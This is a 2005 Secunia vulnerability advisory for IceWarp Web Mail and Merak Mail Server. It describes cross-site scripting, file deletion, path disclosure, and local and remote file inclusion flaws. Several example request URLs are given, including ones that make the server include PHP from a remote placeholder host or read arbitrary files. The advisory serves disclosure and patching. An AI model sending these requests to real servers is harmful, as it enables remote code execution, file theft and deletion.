Secunia Logo  


Secunia PSI WorldMap
 
IceWarp Web Mail Multiple Vulnerabilities
Secunia Advisory: SA17046
Release Date: 2005-10-03
Last Update: 2006-01-20
Popularity: 10,178 views

Critical:
Highly critical
Impact: Cross Site Scripting
Manipulation of data
Exposure of system information
Exposure of sensitive information
System access
Where: From remote
Solution Status: Partial Fix

Software:IceWarp Web Mail 5.x
Merak Mail Server 8.x

Secunia CVSS-2 Score: Available in Secunia business solutions

Subscribe: Instant alerts on relevant vulnerabilities


Advisory Content (Page 1 of 3)[ 1 ] [ 2 ] [ 3 ]

Description:
Some vulnerabilities have been discovered in IceWarp Web Mail, which can be exploited by malicious people to conduct cross-site scripting attacks, delete arbitrary files, disclose system and sensitive information, and to compromise a vulnerable system.

1) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:
http://[host]:32000/mail/blank.html?id=[code]
http://[host]:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[code]

2) The problem is that it is possible to disclose the full path to the installation directory by accessing the "mail/bwlist_inc.html" and "accounts/bwlist_inc.html" scripts directly.

3) Input passed to the "id" parameter in "mail/logout.html" isn't properly verified, before it is used to delete files. This can be exploited to remove arbitrary files and empty directories.

4) Input passed to the "helpid" parameter in "accounts/help.html" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from local resources.

Vulnerabilities #1 through #4 have been confirmed in Merak Mail Server 8.2.4r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

5) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

6) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbirary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

7) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

8) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Vulnerabilities #5 through #8 have been confirmed in Merak Mail Server 8.3.0r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

Change Page:
[ 1 ] [ 2 ] [ 3 ]



Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. Internet Explorer Charset Inheritance Cross-Site Scripting Vulnerability // 54 views
2. Adobe Reader/Acrobat Multiple Vulnerabilities // 33 views
3. Adobe Flash Player Multiple Vulnerabilities // 31 views
4. Microsoft Word Malformed Object Pointer Vulnerability // 21 views
5. Sun Java JDK / JRE Multiple Vulnerabilities // 18 views
6. Microsoft PowerPoint OutlineTextRefAtom Parsing Vulnerability // 16 views
7. Winamp VOC and MP4 Processing Buffer Overflow Vulnerabilities // 14 views
8. IBM Tivoli Identity Manager Cross-Site Scripting Vulnerabilities // 13 views
9. RealPlayer Unspecified Buffer Overflow Vulnerability // 13 views
10. Mozilla Firefox Multiple Vulnerabilities // 12 views